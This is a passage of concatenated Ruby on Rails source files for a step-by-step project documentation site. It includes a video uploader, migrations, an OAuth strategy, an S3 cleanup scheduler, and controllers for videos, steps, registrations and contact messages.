aspect_ratio = video.imageheight.to_f / video.imagewidth.to_f
encode_video(:mp4, audio_codec: "aac",custom: "-strict experimental -q:v 5 -preset slow -g 30 -vf transpose=2,transpose=2 -vsync 2", aspect: aspect_ratio)
elsif orientation == 270 && video.imagewidth.to_f > video.imageheight.to_f
Rails.logger.debug('270')
aspect_ratio = video.imageheight.to_f / video.imagewidth.to_f
encode_video(:mp4, audio_codec: "aac", custom: "-strict experimental -q:v 5 -preset slow -g 30 -vf transpose=2 -vsync 2", aspect: aspect_ratio)
else
aspect_ratio = video.imagewidth.to_f / video.imageheight.to_f
encode_video(:mp4, audio_codec: "aac",custom: "-strict experimental -q:v 5 -preset slow -g 30 -vsync 2", aspect: aspect_ratio)
end
instance_variable_set(:@content_type, "video/mp4")
:set_content_type_mp4
end
def filename
result = [original_filename.gsub(/\.\w+$/, ""), 'mp4'].join('.') if original_filename
result
end
# version :webm do
# process :encode_video => [:webm]
# process :set_content_type_webm
# def full_filename(for_file)
# "#{File.basename(for_file, File.extname(for_file))}.webm"
# end
# end
version :thumb do
process thumbnail: [{format: 'png', quality: 10, size: 0, strip: false, logger: Rails.logger}]
def full_filename for_file
png_name for_file, version_name, "jpeg"
end
process :set_content_type_jpeg
# process thumbnail: [{format: 'png', quality: 10, size: 0, strip: false, logger: Rails.logger}]
# def full_filename for_file
# png_name for_file, version_name
# end
# process :set_content_type_png
# # process resize_to_limit: [105, 158]
end
version :square_thumb do
process thumbnail: [{format: 'png', quality: 10, size: 105, strip: false, logger: Rails.logger}]
def full_filename for_file
png_name for_file, version_name, "jpeg"
end
process :set_content_type_jpeg
# process thumbnail: [{format: 'png', quality: 10, size: 105, strip: false, logger: Rails.logger}]
# def full_filename for_file
# png_name for_file, version_name
# end
# process :set_content_type_png
# process resize_to_fill: [105, 105]
end
def png_name for_file, version_name, format
%Q{#{version_name}_#{for_file.chomp(File.extname(for_file))}.#{format}}
end
def set_content_type_mp4(*args)
Rails.logger.debug "#{file.content_type}"
self.file.instance_variable_set(:@content_type, "video/mp4")
end
def set_content_type_webm(*args)
Rails.logger.debug "#{file.content_type}"
self.file.instance_variable_set(:@content_type, "video/webm")
end
def set_content_type_jpeg(*args)
self.file.instance_variable_set(:@content_type, "image/jpeg")
end
def set_content_type_png(*args)
Rails.logger.debug "#{file.content_type}"
self.file.instance_variable_set(:@content_type, "image/png")
end
end
<file_sep>/db/migrate/20140110032810_add_temp_to_edit.rb
class AddTempToEdit < ActiveRecord::Migration
def change
add_column :edits, :temp, :boolean
end
end
<file_sep>/db/migrate/20130930183928_rename_soundcloud_to_sound.rb
class RenameSoundcloudToSound < ActiveRecord::Migration
def change
rename_table :soundclouds, :sounds
end
end
<file_sep>/app/controllers/notifications_controller.rb
class NotificationsController < ApplicationController
before_filter :authenticate_user!
def index
# used to highlight new notifications on notification page
@new_notification_ids = current_user.all_new_notifications.collect(&:id)
current_user.all_notifications.each do |new_notification|
new_notification.update_attributes(:viewed=>true)
end
# get current user's notifications
@notifications = current_user.all_notifications.paginate(:page => params[:notifications_page], :per_page => 10)
end
end
<file_sep>/lib/omniauth/strategies/village.rb
module OmniAuth
module Strategies
class Village < OmniAuth::Strategies::OAuth2
option :name, :village
option :client_options, {
site: ENV["OAUTH_VILLAGE_SERVER"],
authorize_path: "/oauth/authorize"
}
option :scope, 'public post_projects'
uid do
raw_info["id"]
end
info do
{name: raw_info["login"], email: raw_info["email"]}
end
def raw_info
@raw_info ||= access_token.get('/api/user').parsed
rescue ::Errno::ETIMEDOUT
raise ::Timeout::Error
end
end
end
end<file_sep>/db/migrate/20130706204300_rename_video_url_to_embed_url.rb
class RenameVideoUrlToEmbedUrl < ActiveRecord::Migration
def up
rename_column :videos, :url, :embed_url
end
def down
end
end
<file_sep>/config/initializers/task_scheduler.rb
require 'rufus/scheduler'
require "net/http"
scheduler = Rufus::Scheduler.new
# delete images that have been uploaded
scheduler.every '12h' do
s3 = AWS::S3.new(:access_key_id => ENV['AWS_ACCESS_KEY_ID'], :secret_access_key => ENV['AWS_ACCESS_KEY'])
image_count = 0
# delete images that have been saved from the uploaded folder
Image.where("s3_filepath is NOT NULL").each do |image|
if image.image_path && image.updated_at < 5.minute.ago
puts "found image to delete #{image.s3_filepath}"
foldername = image.s3_filepath.split("/")[5]
folder_path = 'uploads/' + foldername
puts "folder path: #{folder_path}"
s3.buckets[ENV['AWS_BUCKET']].objects.with_prefix(folder_path).delete_all
image_count = image_count + 1
image.update_attributes(:s3_filepath => nil)
end
end
# delete images that were unsaved in a step
Image.where(:step_id => -1).each do |image|
if image.image_path && image.updated_at > 24.hours.ago
image.destroy
image_count = image_count + 1
end
end
puts "images deleted = #{image_count}"
# destroy empty images
Image.where("image_path IS NULL").where("s3_filepath IS NULL").destroy_all
end
<file_sep>/app/mailers/user_mailer.rb
class UserMailer < ActionMailer::Base
include Roadie::Rails::Automatic
default from: ENV["GMAIL_USERNAME"]
def welcome_email(user)
@user = user
@url = ENV["DEV_HOST_URL"]+"/users/login"
mail(:to => user.email, :subject => "Welcome to #{ENV["APP_NAME"]}!")
end
end
<file_sep>/app/controllers/contact_controller.rb
class ContactController < ApplicationController
def new
@message = Message.new
end
def create
@message = Message.new(params[:message])
if @message.valid?
ContactMailer.new_message(@message).deliver
if @message.project_url
# message sent from project page - return a response
respond_to do |format|
format.json {
Rails.logger.debug("SENDING RESPONSE JSON")
render :json => "Thanks for your feedback!"
# redirect_to(request.referrer, :notice => "Thanks for your feedback!")
}
end
else
redirect_to(root_path, :notice => "Thanks for your feedback!")
end
else
flash.now.alert = "Please fill all fields."
render :new
end
end
end
<file_sep>/db/migrate/20130109030408_rename_image_urls_to_images.rb
class RenameImageUrlsToImages < ActiveRecord::Migration
def change
rename_table :image_urls, :images
end
end
<file_sep>/db/migrate/20140724172317_add_email_notify_to_user.rb
class AddEmailNotifyToUser < ActiveRecord::Migration
def change
add_column :users, :email_notify, :boolean
end
end
<file_sep>/db/migrate/20131219005249_change_column_viewed_default_value.rb
class ChangeColumnViewedDefaultValue < ActiveRecord::Migration
def change
change_column :activities, :viewed, :boolean, :default=> false
end
end
<file_sep>/app/controllers/registrations_controller.rb
class RegistrationsController < Devise::RegistrationsController
skip_before_filter :verify_authenticity_token,
:if => Proc.new { |c| c.request.format == 'application/json' }
respond_to :json
def create
user = User.new(params[:user])
# comment out following line to re-enable confirmation
# resource.skip_confirmation!
if user.save
sign_in user, :email => user.unconfirmed_email
render :status => 200,
:json => { :success => true,
:info => "Registered",
:data => { :user => user,
:auth_token => current_user.authentication_token } }
else
redirect_to new_user_registration_path, notice: user.errors.full_messages[0]
# render :status => :unprocessable_entity,
# :json => { :success => false,
# :info => resource.errors,
# :data => {} }
end
end
def update
@user = User.find(current_user.id)
authorize! :update, @user
account_update_params = params[:user]
update_email = false # used to determine if user is just editing their email address
update_profile = false # used to determine if user is just editing their profile page
if params[:rails_settings_setting_object]
params[:rails_settings_setting_object].each do |key, value|
current_user.settings(:email).update_attributes! key.to_sym => value=="1"
end
if params[:user][:email] == @user.email
# update just the user's mail settings
redirect_to :back, notice: "Updated email preferences!", :anchor=>"email-tab"
else
# require confirmation
account_update_params.delete("password")
account_update_params.delete("password_confirmation")
self.resource = resource_class.to_adapter.get!(send(:"current_#{resource_name}").to_key)
prev_unconfirmed_email = resource.unconfirmed_email if resource.respond_to?(:unconfirmed_email)
if @user.update_attributes(account_update_params)
yield resource if block_given?
if is_navigational_format?
flash_key = update_needs_confirmation?(resource, prev_unconfirmed_email) ?
:update_needs_confirmation : :updated
set_flash_message :notice, flash_key
end
sign_in resource_name, resource, bypass: true
respond_with resource, location: after_update_path_for(resource)
else
clean_up_passwords resource
respond_with resource
end
end
else
if account_update_params[:password].blank?
if !params[:user][:email].blank?
logger.debug('setting update email to true')
update_email = true
else
logger.debug('setting update profile to true')
update_profile = true
end
account_update_params.delete("password")
account_update_params.delete("password_confirmation")
if @user.update_attributes(account_update_params)
if update_email
set_flash_message :alert, :signed_up_but_unconfirmed
@user.send_confirmation_instructions
else
set_flash_message :notice, :updated
end
redirect_to after_update_path_for(@user)
end
elsif @user.update_with_password(account_update_params)
set_flash_message :notice, :updated
sign_in @user, :bypass => true
redirect_to after_update_path_for(@user)
else
redirect_to :back, alert: resource.errors.full_messages[0]
end
end
end
protected
def after_update_path_for(resource)
user_path(resource)
end
end
<file_sep>/app/models/image.rb
class Image < ActiveRecord::Base
attr_accessible :project_id, :step_id, :image_path, :caption, :position, :saved, :remote_image_path_url, :video_id, :original_id, :sound_id, :user_id, :s3_filepath, :rotation
belongs_to :step
belongs_to :project
belongs_to :user, :touch=> true
has_one :video, :dependent => :destroy
has_one :sound, :dependent => :destroy
belongs_to :original_image, :class_name=>"Image", :foreign_key => "original_id"
has_many :remix_images, :class_name=>"Image", :foreign_key=> "original_id", :dependent => :destroy
mount_uploader :image_path, ImagePathUploader
before_create :default_name
scope :ordered_by_position, :order => "position ASC"
scope :images_only, where("video_id IS NULL")
default_scope :order => "position ASC"
# validates :image_path, :presence => true
def default_name
self.image_path ||= File.basename(image_path.filename, '.*').titleize if image_path
end
def has_video?
return !video_id.blank?
end
def has_sound?
return !sound.blank?
end
def is_remix_image?
return !original_id.blank?
end
# upload image to AWS for delayed job
def upload_image
self.remote_image_path_url = self.s3_filepath
self.update_column(:rotation, nil)
self.save!
end
def author
if Image.find(original_id).user
Image.find(original_id).user.username
else
return ""
end
end
# script to add user id to each image after running migration
def add_user
image_user_id = step.users.first.id
update_attributes(:user_id => image_user_id)
end
# used for pointing to remix images in project/index.json.erb file - must be titled
# image_path to render correctly
def remix_image_path
remix_image_paths = Hash.new
if original_id
remix_image_paths["url"] = Image.find(original_id).image_path_url
remix_image_paths["preview"] = {:url => Image.find(original_id).image_path_url(:preview)}
remix_image_paths["thumb"] = {:url => Image.find(original_id).image_path_url(:thumb)}
remix_image_paths["square_thumb"] = {:url => Image.find(original_id).image_path_url(:square_thumb)}
else
remix_image_paths["url"] = image_path_url
remix_image_paths["preview"] = {:url => image_path_url(:preview)}
remix_image_paths["thumb"] = {:url => image_path_url(:thumb)}
remix_image_paths["square_thumb"] = {:url => image_path_url(:square_thumb)}
end
return remix_image_paths
end
def remix_video_path
video_hash = Hash.new
if video_id
if video == nil
logger.debug("VIDEO ID : #{video_id}")
# get remix video
original_video = Video.find(video_id)
if original_video.embedded?
video_hash['embed_url'] = original_video.embed_url
else
video_hash['embed_url'] = ""
video_paths = Hash.new
video_paths['rotation'] = original_video.rotation
video_paths['url'] = original_video.video_path_url
video_hash['video_path'] = video_paths
end
else
# get new video added to remix project
if video.embedded?
video_hash['embed_url'] = video.embed_url
else
video_hash['embed_url'] = ""
video_paths = Hash.new
video_paths['rotation'] = video.rotation
video_paths['url'] = video.video_path_url
video_hash['video_path'] = video_paths
end
end
return video_hash
end
end
end<file_sep>/app/controllers/videos_controller.rb
class VideosController < ApplicationController
respond_to :html, :xml, :json
before_filter :authenticate_user!, except: [:embed_code]
# example request URL:
# /videos/embed_code.json?url=http://www.youtube.com/watch?v=1L-UotMNAHU
# get back json response with the embed code for the video!
def embed_url
video_url = params[:video_url]
video = VideoInfo.get(video_url)
if(video)
embed_url = video.embed_url
vid = Video.new(:embed_url=> embed_url)
# check that the video is valid
render :json => vid.as_json(:methods => :embed_code)
else
render :json => false
end
end
# from embed code, extract the embed url
def get_embed_url(embed_code)
regex = /(youtu\.be\/|youtube\.com\/(watch\?(.*&)?v=|(embed|v)\/))([^\?&"'>]+)/
url = "" #placeholder url
if embed_code.match(regex) != nil && embed_code.include?("iframe")
youtube_id = embed_code.match(regex)[5]
Rails.logger.debug "youtube_id : #{youtube_id}"
url = "http://www.youtube.com/embed/"+youtube_id
end
return url
end
# GET /videos
def index
@videos = Video.find(:all)
end
# POST /videos
def create
if params[:video]
if !params[:video][:embed_url].blank?
# convert video_url to embed_url
video_url = params[:video][:embed_url]
params[:video][:embed_url] = VideoInfo.get(video_url).embed_url
end
@project = Project.find(params[:video][:project_id])
@video = Video.new(params[:video])
authorize! :create, @video
@video.save
else
videoObj = Hash.new
videoObj["project_id"]=params[:project_id]
videoObj["step_id"]=params[:step_id]
videoObj["saved"]=true
videoObj["video_path"]=params[:video_path]
videoObj["user_id"]=params[:user_id]
@video = Video.create(videoObj)
@project = Project.find(params[:project_id])
end
image_position = @project.images.where(:step_id=>@video.step_id).count # set the image position of the added thumbnail
if @video.embedded?
# get the thumbnail image
thumbnail = @video.thumb_url
@video.update_attributes(:thumbnail_url => thumbnail)
# create a new image record for the thumbnail
@image = Image.new(:step_id=>@video.step_id, :image_path=> "", :project_id=>@video.project_id, :user_id => current_user.id, :saved=> true, :position=>image_position, :video_id=> @video.id)
@image.update_attributes(:remote_image_path_url => thumbnail)
@image.save
else
# create a new image record using the thumbnail generated from ffmpegthumbnailer
@image = Image.new(:step_id=>@video.step_id, :image_path=> "", :project_id=>@video.project_id, :user_id => current_user.id, :saved=> true, :position=>image_position, :video_id=> @video.id)
Rails.logger.debug("creating thumbnail with image #{@video.video_path_url(:thumb)}")
@image.update_attributes(:remote_image_path_url => @video.video_path_url(:thumb))
@image.save
end
respond_to do |format|
if @video.save!
# add thumbnail image id to video
@video.update_attributes(:image_id=>@image.id)
# update project
@video.project.touch
format.js {
if params[:video]
render 'images/create'
else
video_info = @video.id, @video.video_path_url, @video.image.image_path_url(:preview)
logger.debug("sending JSON video id #{video_info.to_json}")
render :json => video_info.to_json
end
}
else
Rails.logger "video save failed"
Rails.logger.info(@video.errors.inspect)
format.json { render :json => @video.errors, :status => :unprocessable_entity }
end
end
end
# create_mobile
# create video object from mobile - receives direct uploaded AWS video from the parameters s3_video_url
def create_mobile
videoObj = Hash.new
videoObj["project_id"]=params[:project_id]
videoObj["step_id"]=params[:step_id]
videoObj["saved"]=true
videoObj["user_id"]=params[:user_id]
@video = Video.create(videoObj)
@video.update_attributes(:remote_video_path_url => params[:s3_video_url])
@video.save
# create thumbnail image
@project = Project.find(params[:project_id])
image_position = @project.images.where(:step_id=>@video.step_id).count
@image = Image.new(:step_id=>@video.step_id, :image_path=> "", :project_id=>@video.project_id, :user_id => current_user.id, :saved=> true, :position=>image_position, :video_id=> @video.id)
logger.debug("creating video thumbnail with path #{@video.video_path_url(:thumb)}")
@image.update_attributes(:remote_image_path_url => @video.video_path_url(:thumb))
@image.save
@video.update_attributes(:image_id => @image.id)
@video.project.touch
# delete the temporary video on s3
s3 = AWS::S3.new(:access_key_id => ENV['AWS_ACCESS_KEY_ID'], :secret_access_key => ENV['AWS_ACCESS_KEY'])
video_path = "uploads/" + params[:s3_video_url].split('/').last
logger.debug("AWS path to video file to delete: #{video_path}")
s3.buckets[ENV['AWS_BUCKET']].objects.with_prefix(video_path).delete_all
respond_to do |format|
format.js{
video_info = @video.image.id, @video.video_path_url, @video.image.image_path_url(:preview)
render :json => video_info.to_json
}
end
end
# DELETE /videos/1
def destroy
@video = Video.find(params[:id])
authorize! :destroy, @video
@video.destroy
end
end
<file_sep>/db/migrate/20131106154418_add_challenge_to_collection.rb
class AddChallengeToCollection < ActiveRecord::Migration
def change
add_column :collections, :challenge, :boolean
end
end
<file_sep>/app/controllers/steps_controller.rb
class StepsController < ApplicationController
before_filter :get_global_variables
before_filter :authenticate_user!, except: [:index, :show, :show_redirect, :mobile]
before_filter :check_tree_width, only: :mobile
# :get_project defined at bottom of the file,
# and takes the project_id given by the routing
# and converts it to a @project object
# GET /steps
# GET /steps.json
def index
authorize! :read, @project
@stepIDs = @project.steps.not_labels.order("published_on").pluck(:id)
# fix step position and ancestry if there's an error
if @project.steps.where(:position => -1).present?
Rails.logger.info("FIXING STEP POSITIONS AND ANCESTRY")
start_position = @project.steps.order(:position).last.position
@project.steps.where(:position => -1).order("created_at").each do |step|
last_step = @project.steps.where(:position => start_position).first
step.update_attributes(:ancestry => last_step.ancestry + "/" + last_step.id.to_s)
step.update_attributes(:position => start_position+1)
start_position = start_position + 1
end
end
respond_to do |format|
# go directly to the project overview page
format.html
format.json
format.xml
end
end
# GET /steps/mobile
def mobile
@stepIDs = @project.steps.not_labels.order("published_on").pluck(:id)
respond_to do |format|
format.html{
if @project.users.include?(User.where(:authentication_token => params[:auth_token]).first) || (current_user && @project.users.include?(current_user)) || (current_user && current_user.admin?)
else
redirect_to errors_unauthorized_path
end
}
end
end
# GET /steps/1
# GET /steps/1.json
def show
authorize! :read, @project
@step = @project.steps.find_by_position(params[:id])
@images = @project.images.where("step_id=?", @step.id).order("position")
respond_to do |format|
format.html
format.json
format.xml
end
end
def new
begin
@step = @project.steps.build(:parent_id=> params[:parent_id].to_i)
rescue Exception
@step = @project.steps.build
end
authorize! :create, @step
@step.build_question
if params[:label] == "false"
@step.name = "New Step"
@step.description = " "
else
@step.name = "New Branch Label"
end
@step.id = "-1"
@parentID = params[:parent_id]
Rails.logger.debug("@parentID: #{@parentID}")
@step.user_id = current_user.id
respond_to do |format|
format.html
format.json { render :json => @step }
end
end
# GET /steps/1/edit
def edit
@step = @project.steps.find_by_position(params[:id])
authorize! :edit, @step
if @step.question
question = @step.question
else
question = @step.build_question
end
if question && !question.decision
decision = question.build_decision
decision.description = "I decided to ..."
end
# update edits with started editing at time
if Edit.where("user_id = ? AND step_id = ?", current_user.id, @step.id).first
# user already exists in the step users
Edit.where("user_id = ? AND step_id = ?", current_user.id, @step.id).first.update_attributes(:started_editing_at => Time.now)
elsif @project.users.include?(current_user) && !@step.users.include?(current_user)
# create edit for newly added author that is editing an existing step
Edit.create(:user_id => current_user.id, :project_id => @project.id, :step_id => @step.id, :started_editing_at => Time.now, :temp => true)
end
authorize! :update, @step
@step.images.build if @step.images.empty?
@images = @project.images.where("step_id=?", @step.id).order("position")
@step.design_files.build if @step.design_files.empty?
end
# POST /steps
# POST /steps.json
def create
# ensure that the submitted parent_id actually exists
if !Step.exists?(params[:step][:parent_id].to_i)
logger.debug "Step doesn't exist!"
if @project.steps.last
params[:step][:parent_id] = @project.steps.last.id
else
params[:step][:parent_id] = nil
end
end
if params[:step][:pin] && params[:step][:pin].empty?
params[:step][:pin] = nil
end
@step = @project.steps.build(params[:step])
authorize! :create, @step
if params[:step][:position]
@step.position = params[:step][:position]
else
@step.position = @numSteps
end
respond_to do |format|
if @step.save
# update corresponding collections
@step.project.collections.each do |collection|
collection.touch
end
# create an edit entry
Edit.create(:user_id => current_user.id, :step_id => @step.id, :project_id => @project.id)
# check whether project is published
if @project.public? || @project.privacy.blank?
@project.set_published(current_user.id, @project.id, @step.id)
end
@project.set_built
# update the project updated_at date
@project.touch
# update the user last_updated_at date
current_user.touch
@step.update_attributes(:published_on => @step.created_at)
# create a public activity for any added question
if @step.question
Rails.logger.debug("created new question")
@step.question.create_activity :create, owner: current_user, primary: true
end
# log the creation of a new step
@project.delay.log
format.html {
# update all images with new step id
new_step_images = @project.images.where("step_id = -1")
new_step_images.each do |image|
image.update_attributes(:saved => true)
image.update_attributes(:step_id => @step.id)
end
# update all videos with new step id
new_step_videos = @project.videos.where("step_id = -1")
new_step_videos.each do |video|
video.update_attributes(:saved=>true)
video.update_attributes(:step_id=> @step.id)
end
# push project to village if it doesn't already exist
if @project.village_id.blank? && current_user.from_village? && @project.public? && !access_token.blank?
create_village_project
elsif !@project.village_id.blank? && !access_token.blank?
update_village_project
end
redirect_to project_steps_path(@project), :flash=>{:createdStep => @step.id}
}
format.json { render :json => @step }
else
Rails.logger.debug(@step.errors.inspect)
format.html { render :action => "new" }
format.json { render :json => @step.errors, :status => :unprocessable_entity }
end
end
end
# PUT /steps/1
# PUT /steps/1.json
def update
@step = @project.steps.find_by_position(params[:id])
authorize! :update, @step
# update corresponding collections
@step.project.collections.each do |collection|
collection.touch
end
@step.images.each do |image|
image.update_attributes(:saved => true)
end
# remove question if question description is empty
if params[:step][:question_attributes] && params[:step][:question_attributes][:description].length == 0 && @step.question
@step.question.destroy
end
if params[:step][:published_on_date]
date = params[:step][:published_on_date]
logger.debug "date: #{date}"
time = params[:step][:published_on_time]
# retain the same seconds as the original published_on date
time.insert 5, ":" + @step.published_on.strftime("%S")
# logger.debug "time: #{time}"
timeZone = params[:step][:timeZone]
# logger.debug "timeZone: #{timeZone}"
dateTime = date + " " + time + " " + timeZone
# logger.debug "dateTime: #{dateTime}"
dateTime = DateTime.strptime(dateTime, '%m/%d/%Y %I:%M:%S %p %Z')
# logger.debug "datetime: #{dateTime}"
params[:step][:published_on] = dateTime
params[:step].delete :'published_on_date'
params[:step].delete :"published_on_time"
params[:step].delete :timeZone
end
# update the project
@project.touch
# update the user last updated date
current_user.touch
# remove any design attributes if they contain an ID that doesn't exist (the file had been removed)
if params[:step][:design_files_attributes]
params[:step][:design_files_attributes].values.each do |design_file|
if DesignFile.exists?(design_file['id']) == false
design_file.delete :id
end
end
end
respond_to do |format|
if @step.update_attributes(params[:step])
# clear label color if user didn't select color
if @step.label == false
@step.update_column("label_color", nil)
end
# clear edit
edit = Edit.where("user_id = ? AND step_id = ?", current_user.id, @step.id).first
edit.update_attributes(:started_editing_at => nil)
if edit.project_id.blank?
edit.update_attributes(:project_id => @project.id)
end
# check whether project is published
if @project.public? || @project.privacy.blank?
@project.set_published(current_user.id, @project.id, @step.id)
end
# check and set built attribute of project
@project.set_built
# create a public activity for any questions associated with the step if it doesn't already exist
if @step.question && !PublicActivity::Activity.where(:trackable_type => "Question").where(:trackable_id => @step.question.id).exists?
@step.question.create_activity :create, owner: current_user, primary: true
end
# create project on the village if the current user is a village user and the project doesn't already exist
if @project.village_id.blank? && current_user.from_village? && !access_token.blank? && @project.public?
create_village_project
elsif !@project.village_id.blank? && !access_token.blank?
update_village_project
end
format.html {
redirect_to project_steps_path(@project), :notice => 'Step was successfully updated.', :flash => {:createdStep => @step.id}
}
format.json { head :no_content }
else
Rails.logger.info(@step.errors.inspect)
format.html { render :action => "edit" }
format.json { render :json => @step.errors, :status => :unprocessable_entity }
end
end
end
# DELETE /steps/1
# DELETE /steps/1.json
def destroy
@step = Step.find(params[:step_id])
authorize! :destroy, @step
if @step.ancestry=="0" && @project.steps.where(:ancestry => @step.id.to_s).length > 1
# can't delete root!
respond_to do |format|
format.html {
flash[:error] = "Can't delete the root of your project!"
redirect_to project_steps_url
}
end
else
if @step.ancestry == "0"
@project.steps.where("id !=?", @step.id.to_s).each do |step|
if step.ancestry == @step.id.to_s
step.update_attributes(:ancestry => "0")
else
step.update_attributes(:ancestry => step.ancestry.gsub(@step.id.to_s+"/", ""))
end
end
end
PublicActivity::Activity.where(:trackable_id => @step.id).destroy_all
if @step.question
PublicActivity::Activity.where(:trackable_id => @step.question.id).destroy_all
end
# destroy any news items associated with it
News.where(:step_id => @step.id).each do |news_item|
news_item.destroy
end
@step.destroy
# update positions of subsequent steps
if @step.position < @steps.count
for step in @step.position+1..@steps.count
if @steps.where("position" => step).exists?
@steps.where("position" => step)[0].update_attribute(:position, step-1)
end
end
end
# check whether project is published
if @project.public?
@project.set_published(current_user.id, @project.id, nil)
end
# check and set built attribute of project
@project.set_built
@project.delay.log
respond_to do |format|
format.html { redirect_to project_steps_url }
format.json { head :no_content }
end
end
end
# Destroy new images
def destroyNewImages
respond_to do |format|
format.html { redirect_to project_steps_url }
end
end
# Sorts steps
def sort
params[:step].each_with_index do |id, index|
Step.update_all({position: index+1}, {id: id})
end
render nothing: true
end
def create_branch
@parentStepID = params[:parent]
@project = Step.find(@parentStepID).project
authorize! :create_branch, @project
@label = params[:label]
respond_to do |format|
format.js { render :js => "window.location = '#{new_project_step_path(@project, :parent_id=>@parentStepID, :label => @label)}'"}
end
end
# redirect to the edit page for a particular step - called from clicking a step in the
# process map while already on the edit page for another step
def edit_redirect
@stepID = params[:stepID]
step = Step.find(@stepID)
@stepPosition = @steps.where("id"=>@stepID).first.position
if params[:answered]
answered = true
end
Rails.logger.info('checking editing conflict')
# check if someone else is editing the step
editing_conflict = false
editing_conflict_user = ""
step.edits.pluck(:started_editing_at).each do |edit_date|
if edit_date != nil && step.edits.where(:started_editing_at => edit_date).first.user != current_user
editing_conflict = true
editing_conflict_user = editing_conflict_user + step.edits.where(:started_editing_at => edit_date).first.user.username
end
end
Rails.logger.info('editing_conflict_user: ' + editing_conflict_user)
respond_to do |format|
format.js {
if !editing_conflict
render :js => "window.location='#{edit_project_step_path(@project, @stepPosition)}?answered=#{answered}'"
else
render :json => editing_conflict_user
end
}
end
end
# redirect to the show page for a particular step
def show_redirect
@stepID = params[:stepID]
@step = @steps.where("id"=>@stepID).first
if @step.present?
@stepPosition = @step.position
respond_to do |format|
format.js { render :js => "window.location = '#{project_step_path(@project, @stepPosition)}'"}
end
else
respond_to do |format|
format.js { render :nothing => true}
end
end
end
# get the position of a step (used for redirecting to edit / show step pages)
def get_position
@step = Step.find(params[:stepID])
if @step
position = @step.position
end
respond_to do |format|
format.js{
render :js => position
}
end
end
# update_ancestry: given an array of the steps in a project, update the position and ancestry of all steps
# the expected format is {step_id: [position,ancestry]}
def update_ancestry
Step.record_timestamps = false
steps = params[:stepMapArray]
# Rails.logger.debug("steps: #{steps}")
steps.each do |step|
id = step[0].to_i
position = step[1][0].to_i
ancestry = step[1][1]
# Rails.logger.debug("id: #{step[0]} position: #{step[1][0]} ancestry: #{step[1][1]}")
if Step.exists?(:id => id)
Step.find(id).update_attributes(:position => position)
Step.find(id).update_attributes(:ancestry => ancestry)
end
end
Step.record_timestamps = true
respond_to do |format|
format.js {render :nothing => true}
end
end
# reset the started_editing_at attribute of an edit table if a user presses the back button
# out of a step form
def reset_started_editing
logger.debug 'in reset started editing'
user_id = params[:user_id]
step_id = params[:step_id]
@project = Project.find(params[:project_id])
edit = Edit.where("user_id = ? AND step_id = ?", user_id, step_id).first
# if edit was temp, destroy the edit
if edit
if edit.temp
edit.destroy
else
edit.reset_started_editing_at
end
end
respond_to do |format|
format.js { render :nothing => true }
end
end
# create a project on the village using an iframe with the embed page
def create_village_project
iframe_src = "<iframe src='" + root_url.sub(/\/$/, '') + embed_project_path(@project) + "' width='575' height='485'></iframe><p>This project created with <b><a href='" + root_url + "'>#{ENV["APP_NAME"]}</a></b> and updated on " + @project.updated_at.strftime("%A, %B %-d at %-I:%M %p") +"</p>"
iframe_src = iframe_src.html_safe.to_str
village_user_ids = @project.village_user_ids
response = access_token.post("/api/projects", params: {project: {name: @project.title, project_type_id: 15, source: "original", description: iframe_src, thumbnail_file_id: 769508, user_ids: village_user_ids} })
village_project_id = response.parsed["project"]["id"]
@project.update_attributes(:village_id => village_project_id)
end
# update a project on the village
def update_village_project
iframe_src = "<iframe src='" + root_url.sub(/\/$/, '') + embed_project_path(@project) + "' width='575' height='485'></iframe><p>This project created with <b><a href='" + root_url + "'>#{ENV["APP_NAME"]}</a></b> and updated on " + @project.updated_at.strftime("%A, %B %-d at %-I:%M %p") +"</p>"
iframe_src = iframe_src.html_safe.to_str
village_user_ids = @project.village_user_ids
response = access_token.put("/api/projects/" + @project.village_id.to_s, params: {project: {name: @project.title, description: iframe_src, user_ids: village_user_ids}})
end
private
# get_project converts the project_id given by the routing
# into an @project object
def get_global_variables
@project = Project.where(:id => params[:project_id])
if @project.present?
@project = @project.first
@steps = @project.steps.order("position")
@numSteps = @steps.count
@ancestry = @steps.pluck(:ancestry) # array of ancestry ids for all steps
@allBranches # variable for storing the tree structure of the process map
@users = @project.users # user who created the project
@authorLoggedIn = user_signed_in? && @users.map(&:username).include?(current_user.username)
else
# redirect to error page - project no longer exists
render :file => "errors/404.html", :status => 404
end
end
def check_tree_width
redirect_to(tree_width: @project.tree_width, auth_token: params[:auth_token]) unless params[:tree_width].present?
end
end
<file_sep>/db/migrate/20131004170658_add_featured_columns_to_projects.rb
class AddFeaturedColumnsToProjects < ActiveRecord::Migration
def change
add_column :projects, :featured, :boolean
add_column :projects, :featured_on_date, :datetime
end
end
<file_sep>/app/models/sound.rb
require 'httparty'
require 'soundcloud'
class Sound < ActiveRecord::Base
attr_accessible :project_id, :step_id, :image_id, :saved, :embed_url, :thumbnail_url, :user_id
belongs_to :step
belongs_to :project
belongs_to :user, :touch=>true
belongs_to :image
# returns the embed code of a soundcloud from the embed_url
def embed_code
response = HTTParty.get(embed_url)
end
# returns the ID of the soundcloud
def soundcloud_id
end
# returns the thumbnail url for the soundcloud file
def thumb_url
end
# add user_id to sounds after migration
def add_user
user_id = step.users.first.id
update_attributes(:user_id => user_id)
end
end
<file_sep>/app/helpers/steps_helper.rb
module StepsHelper
def branching(steps, currentStep)
steps.map do |step, branched_steps|
#render(step) + content_tag(:div, branching(branched_steps, step), :class=>"nested_messages")
render(:partial=>"step", :locals => {:step=> step, :currentStep=> currentStep, :steps => steps}) + content_tag(:div, branching(branched_steps, currentStep), :class=>"branchedStep")
end.join.html_safe
end
# get the tree structure of process map
def getBranches
currentBranchArray = Array.new # placeholder for holding steps from a given branch
@allBranches = Hash.new # holds tree structure for entire process map
@mapping = Hash.new # maps branch ancestry to branch number
mapIndex = 0 # placeholder for branch number
(0..@ancestry.length-1).each do |index|
if @allBranches.has_key?(@ancestry[index])
currentValues = @allBranches[@ancestry[index]]
currentValues.push(index)
@allBranches[@ancestry[index]] = currentValues
else
@mapping[@ancestry[index]] = mapIndex
@allBranches[@ancestry[index]] = [index]
mapIndex = mapIndex + 1
end
end
# change the format of @allBranches to [branchNumber: [steps]]
@allBranches = Hash[@allBranches.map {|k, v| [@mapping[k],v]}]
end
# get parent of an element
def getParent(stepAncestry)
slashLocation = stepAncestry.rindex("/")
if slashLocation != nil
stepAncestry = stepAncestry[slashLocation+1, stepAncestry.length]
end
return stepAncestry
end
end<file_sep>/app/models/news.rb
class News < ActiveRecord::Base
attr_accessible :description, :step_id, :title, :news_type, :created_at
validates :title, :presence => true, length: {maximum: 60}
